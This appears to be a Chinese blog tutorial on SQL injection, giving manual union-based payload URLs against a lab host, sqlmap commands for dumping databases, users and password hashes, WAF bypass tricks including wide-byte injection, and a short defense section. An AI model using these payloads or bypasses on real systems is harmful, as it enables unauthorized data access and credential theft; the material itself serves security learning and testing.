SQL注入使用详细总结(由浅及深,持续更新中)

文章目录

  • SQL注入使用总结
    • 一:SQL注入的原理
      • 1:什么是SQL
      • 2:SQL注入的原理
      • 3:SQL注入分类
    • 二:手工注入
      • 1:判断是否存在注入(三步走)
      • 2:判断字段长度
      • 3:判断显示字段的位置
      • 4:暴库——显示数据库内的内容和信息
      • 5:爆表——查看数据库内的数据表信息
      • 6:爆字段——查看表中的内容
      • 7:爆字段内容
    • 三:SQLmap的使用
      • 1:基本使用方法
        • <1>:确定目标
          • ①单个目标网址,使用 **-u** ,对单一网址进行扫描
          • ② 多个目标的扫描,使用 **-m** 对指定文本文件中所有URL进行扫描(文本文件即txt文件)
          • ③ 可以将一个HTTP请求保存在文件中,然后使用参数 -r 加载该文件,Sqlmap会解析该文件,从该文件分析目标并进行测试
          • ④使用 -l 从burp代理的日志中解析目标
        • <2>:发起请求实施注入(涉及到的指令稍多)
          • ①:最常用的命令
          • ②:进阶操作和注入技巧
    • 四:SQL注入绕过姿势
      • 1:关键字嵌套,大小写绕过
      • 2:各种编码(对关键字编码)
      • 3:注释
      • 4:关键字替换
      • 5:等价函数绕过
      • 6:宽字节的注入
    • 五:防止SQL注入的方法
      • 1:过滤危险字符
      • 2:使用预编译语句

版权声明:本文为博主原创文章,欢迎转载,请注明出处: https://me.csdn.net/qq_41880069

SQL注入使用总结

一:SQL注入的原理

1:什么是SQL

SQL,指结构化查询语言,作用:访问和处理数据库
也就是说SQL语言的所有操作都是作用于数据库的,那我们的SQL注入的目的就显而易见了,即进入后台数据库,对后台数据库进行查看甚至是修改

2:SQL注入的原理

SQL命令插入到 Web表单递交 输入域名 页面请求 的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

3:SQL注入分类

  • 根据字符类型分类:①整型注入②字符型注入③宽字节注入
  • 注入方法分类:①报错注入②延时注入③布尔型盲注④联合查询注入⑤多语句执行注入

光看理论有些抽象,明白就可,具体看下面注入操作

二:手工注入

1:判断是否存在注入(三步走)

判断是否存在注入,关键看是否出现页面报错信息,如若报错证明其执行了你填写的SQL语句,此时便可以进入下一步

  • 给参数赋值单引号,查看页面变化
  • 给参数赋值为and 1=1或or1=1,查看页面变化
  • 给参数赋值为and 1=2或or1=2,查看页面变化
    如若页面出现变化,说明该Web页面存在SQL注入,若没有出现变化,可能没有SQL注入,也可能有但需要特殊的方法绕过
    例:SQL注入使用详细总结(由浅及深,持续更新中)_第1张图片

SQL注入使用详细总结(由浅及深,持续更新中)_第2张图片
SQL注入使用详细总结(由浅及深,持续更新中)_第3张图片

2:判断字段长度

通过使用order by语句来判断后台所查询字段的数目

  • 给参数赋值 order by (num),num为测试的数:1,2,3,… 当页面出错时,正确显示页面的最后一个num便为后台所查询字段的数目总数
    例:
    SQL注入使用详细总结(由浅及深,持续更新中)_第4张图片
    SQL注入使用详细总结(由浅及深,持续更新中)_第5张图片

3:判断显示字段的位置

通过联合查询(union select 字段数)查看可显示字段,此操作的目的通过查看显示位为下一步暴库(显示数据库内信息)做准备
例:
SQL注入使用详细总结(由浅及深,持续更新中)_第6张图片
图中payload构造时在union select前加了and1=2,目的是直接显示联合查询的结果,屏蔽其他信息,不屏蔽也是可以的,不过联合查询的信息会在页面显示的其他信息之后

4:暴库——显示数据库内的内容和信息

通过联合查询用上一步已知的显示位查看我们想要知道的信息,例如:用户名,数据库名,版本信息等
例:
payload的如下

http://192.168.(省略)?title=%27and%201=2%20union%20select%201,user(),database(),version(),5,6,7%23

SQL注入使用详细总结(由浅及深,持续更新中)_第7张图片
显示位显示了payload对应的内容
接下来我们可以使用如下的payload查看所有数据库的名称
注:MySQL 5.0之后有增加了系统表information_schema,可从其中查询所需信息


http://192.168.(省略)?title=%27and 1=2 union select 1,2,SCHEMA_NAME,4,5,6,7 from information_schema.SCHEMATA limit 0,4%23

例:
SQL注入使用详细总结(由浅及深,持续更新中)_第8张图片
limit后面的两个数字,第一个为从第几个数据库开始显示,第二个数字为一次性显示几个,这里注意数据库的其实编号是从0开始的

5:爆表——查看数据库内的数据表信息

使用如下的payload可以显示当前数据库内的数据表信息了


http://192.168.(省略)?title=%27and 1=2 union select 1,2,TABLE_NAME,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database()%23

例:
SQL注入使用详细总结(由浅及深,持续更新中)_第9张图片

6:爆字段——查看表中的内容

使用如下的payload查看数据表中的内容

  • payload: ’ and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME= ‘已经查出的表名’
http://192.168.(省略)?title=' and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME= '已经查出的表名'

最后的 ‘已查到的表名’‘’ 不可省略

  • payload: ’ and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=16进制的表名
http://192.168.(省略)?title=' and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=16进制的表名

此时已查出的表名 不用加 ‘’ ,但是一定要用16进制。例: users 要 改为 0x7573657273

  • 例:
    SQL注入使用详细总结(由浅及深,持续更新中)_第10张图片

7:爆字段内容

使用如下payload:

'and 1=2 Union select 1,2,字段名,4,5,6,7 from 表名 limit 0,1

可以查看字段内容
例:
SQL注入使用详细总结(由浅及深,持续更新中)_第11张图片
喜欢记得点赞关注哦,持续更新中

三:SQLmap的使用

1:基本使用方法

建议大家将SQLmap升级到最新使用,升级命令:SQLmap --update,大家如果使用的是Kali的话还可以看我的Kali升级教程,升级系统和所有软件,点击查看:2018最新Kali升级教程

<1>:确定目标

①单个目标网址,使用 -u ,对单一网址进行扫描

例:sqlmap “目标网址”(当目标网址需要登录时还需要带上自己登录的cookie信息)
此时命令为:sqlmap “目标网址” --cookie "你的cookie信息"

sqlmap -u "http://192.168.(省略)?title='" --cookie "PHPSESSID=e09a1a07b94dfdde9944206326ad80d8; security_level=0"

cookie信息的获取:查看页面信息–>在控制台输入document.cookie–>回车后就是你的cookie信息
例:
SQL注入使用详细总结(由浅及深,持续更新中)_第12张图片

② 多个目标的扫描,使用 -m 对指定文本文件中所有URL进行扫描(文本文件即txt文件)

例:SQLmap -m “1.txt”
而1.txt文件的内容是:
http://192.168.43.247:8080/otype.asp?classid=2
http://192.168.43.247:8080/onews.asp?id=17
http://192.168.43.247:8080/onews.asp?id=53

③ 可以将一个HTTP请求保存在文件中,然后使用参数 -r 加载该文件,Sqlmap会解析该文件,从该文件分析目标并进行测试

例:sqlmap -r desktop/1.txt (先将HTTP请求保存在文件中,这里是1.txt)

④使用 -l 从burp代理的日志中解析目标

<2>:发起请求实施注入(涉及到的指令稍多)

①:最常用的命令
  • --level=LEVEL:执行测试的等级(1-5,默认为1)
    例:--level=3
  • -p:指定要测试的参数
    例:-p “id,user-agent”
  • --dbs:查询有哪些数据库
    查询结果举例:
    SQL注入使用详细总结(由浅及深,持续更新中)_第13张图片
  • --current-db:查看当前数据库
  • --current-user:查看当前用户
  • --tables:查询某个数据库(需用 -D 指明)下有哪些表
    例:-D BWAPP --tables
    SQL注入使用详细总结(由浅及深,持续更新中)_第14张图片
  • --users:列出数据库的所有用户
    执行示例:
    SQL注入使用详细总结(由浅及深,持续更新中)_第15张图片
  • --passwords:列出数据库用户的密码(加密时列出的是密码的hash值)
  • --columns:查看某个表下的所有列名 (先指明库名和表名)
    例:-D BWAPP -T users --columns
    SQL注入使用详细总结(由浅及深,持续更新中)_第16张图片
  • –dump:导出表项,即列对应的内容
    例:-D BWAPP -T users -C password --dump
    SQL注入使用详细总结(由浅及深,持续更新中)_第17张图片
  • --dump -all:导出所有表项
    例:-D BWAPP -T users -C(指定列名)password --dump
②:进阶操作和注入技巧
  • --cookie:cookie注入,当level大于2时自动检测cookie是否存在注入漏洞
    例:
    sqlmap -u "http://192.168.(省略)?title=’ --cookie “PHPSESSID=e09a1 a07b94d
    fdde9944206326ad80d8; security_level=0”
  • –sql-shell:运行自定义语句
    例:
    先执行sqlmap -u “url”–cookie “cookie信息” --sql-shell
    后面在**sql-shell>**下执行自定义SQL语句
    SQL注入使用详细总结(由浅及深,持续更新中)_第18张图片
  • -b, –banner 获取数据库管理系统的标识
  • post注入:--data
    该参数指定的数据会被作为POST数据提交,Sqlmap也会检测该参数指定数据是否存在注入漏洞
    例:sqlmap -u “http://www.target.com/vuln.php” --data=“id=0&name=admin”
  • --delay:设置延迟,默认没有延迟
    例:--delay 1.5 表示延迟1.5 秒
    过于频繁地发送请求可能会被网站察觉甚至引起网站奔溃
  • --proxy:设置格式是“http(s): //url:port”
  • --tamper:修改注入数据(重点) 绕过waf的关键
    例:sqlmap -u"http://www.target.com/vuln.php" --tamper “example.py”
    --tamper后面跟脚本文件,在SQLmap的tamper/目录中有许多可用的tamper脚本。tamper脚本的作用是对payload进行混淆达到绕过waf的目的。常见的脚本文件对应的功能——点击查看--temper脚本文件对应功能
    当我们自己会写脚本去绕过时,SQLmap就真正掌握了
    对于其他指令,想要了解查看的使用指令 sqlmap -h,便可查看

四:SQL注入绕过姿势

1:关键字嵌套,大小写绕过

  • 例:union ==> UNIunionO

2:各种编码(对关键字编码)

  • URL编码 例如:# 对应的编码为 %23
  • 16进制编码 例如:users 对应的编码为 0x7573657273 (有很多在线转换网站)
  • ASCII编码
  • Unicode编码
  • 双重编码
  • 还有8进制,utf-32,utf-16 等等

3:注释

常见的注释方法有:

  • 末尾注释:#,%23,–,--+
  • /**/ 注释: 在构造得查询语句中插入注释,规避对空格的依赖或关键字识别
    例如:union/**/select,and/**/1=1
    若注释“/**/”不能绕过,可以尝试用“%0b”代替“/**/”
  • 内联注释 :/*! 要执行的code*/
    例如:id=1/*!UnIoN*/SeLeCT
  • " 注释,用于闭合SQL语句中的引号

4:关键字替换

  • 空格替换:/**/,%a0,()
  • and替换:&&
  • or替换:||
  • =替换:<,>,like , rlike
  • 引号替换:用16进制编码

5:等价函数绕过

  • hex()、bin() ==> ascii()
  • sleep() ==>benchmark()
  • concat_ws()==>group_concat()
  • mid()、substr() ==> substring()
  • @@user ==> user()
  • @@datadir ==> datadir()
    举例:substring()和substr()无法使用时:
    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
    或者:
  • substr((select ‘password’),1,1) = 0x70
  • strcmp(left(‘password’,1), 0x69) = 1
  • strcmp(left(‘password’,1), 0x70) = 0
  • strcmp(left(‘password’,1), 0x71) = -1
    还有一些绕过脚本,在上面的--temper参数中都有介绍,可以点击查看temper脚本绕过

6:宽字节的注入

过滤 ’ 的时候往往利用的思路是将 ’ 转换为 \’ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)去掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

id=-1%df%27union select 1,user(),3–+

(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:

  • 1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。

  • 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
    (防御此漏洞,要将 mysql_query 设置为 binary 的方式)

  • 3.mysql_real_escape_string():转义下列字符:
    \x00 \n \r \ ’ " \x1a

(防御,将mysql设置为gbk即可)

五:防止SQL注入的方法

1:过滤危险字符

类似于“#,–,||,= ” 等等 常用于攻击的字符都要过滤

2:使用预编译语句

使用PDO语句,不将变量拼接到PDO语句中,而使用占位符进行数据库的增,删,改,查。
(PDO需要PHP5核心OO特性的支持,所以它无法运行于之前的PHP版本。在PHP5.1版本及后面的版本,PDO和PDO SQLITE已经包含在了此发行版中。)

你可能感兴趣的:(web漏洞)